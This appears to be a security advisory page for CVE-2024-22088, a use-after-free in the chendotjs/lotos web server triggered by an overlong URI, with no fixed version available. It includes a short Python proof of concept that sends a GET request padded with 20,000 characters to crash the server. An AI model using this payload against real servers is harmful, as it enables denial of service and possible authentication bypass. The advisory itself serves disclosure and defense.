Use After Free Affecting chendotjs/lotos package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.12% (48th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Use After Free vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-CHENDOTJSLOTOS-6144800
  • published5 Jan 2024
  • disclosed5 Jan 2024
  • creditHalcy0nic

Introduced: 5 Jan 2024

CVE-2024-22088  (opens in a new tab)
CWE-416  (opens in a new tab)

How to fix?

There is no fixed version for chendotjs/lotos.

Overview

Affected versions of this package are vulnerable to Use After Free via the buffer_avail function at buffer.h when processing a long URI due to improper handling of realloc. An attacker can submit a specially crafted URI to the server and can lead to denial of service or authentication bypass.

PoC

#!/usr/bin/env python3

import socket


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8888))
sock.send(b"GET /"+b"?"*20000+b" HTTP/1.1\r\nHost:localhost:8001\r\n\r\n")
response = sock.recv(4096)
sock.close()

References

CVSS Scores

version 3.1